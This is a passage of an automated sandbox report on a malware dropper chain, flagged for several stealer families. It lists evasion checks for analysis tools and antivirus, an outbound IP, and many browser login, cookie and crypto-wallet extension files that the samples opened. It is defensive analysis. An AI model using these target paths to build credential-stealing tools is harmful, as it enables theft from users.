Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E2CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00E2CBEA

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: procmon.exe
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tcpview.exe
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: wireshark.exe
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lordpe.exe
Source: 475e05f959.exe, 0000000A.00000003.2824528280.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759464207.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2865586185.0000000003290000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759508482.000000000329B000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759508482.0000000003291000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Procmon.exe
Source: svchost.exe, 00000025.00000002.2976973743.0000000003300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autoruns.exe

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1771413470.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2299564174.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1803462393.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 475e05f959.exe PID: 7968, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Poverty Stealer

Source: Yara match	File source: 6.0.DxfmGsU.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.DxfmGsU.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.2389263096.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DxfmGsU.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000019.00000003.2948270838.0000000003230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2977348645.0000000003600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2962028752.0000000003560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2963371234.0000000005570000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 475e05f959.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: 475e05f959.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 475e05f959.exe	String found in binary or memory: Jaxx Liberty
Source: 475e05f959.exe	String found in binary or memory: window-state.json
Source: 475e05f959.exe	String found in binary or memory: ExodusWeb3
Source: 475e05f959.exe	String found in binary or memory: %appdata%\Ethereum
Source: 475e05f959.exe, 0000000A.00000003.2728397729.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 475e05f959.exe, 0000000A.00000002.2862664082.0000000000B6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Leaks process information

Source: global traffic	TCP traffic: 192.168.2.4:49836 -> 104.154.220.71:80
Source: global traffic	TCP traffic: 192.168.2.4:50132 -> 104.154.220.71:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
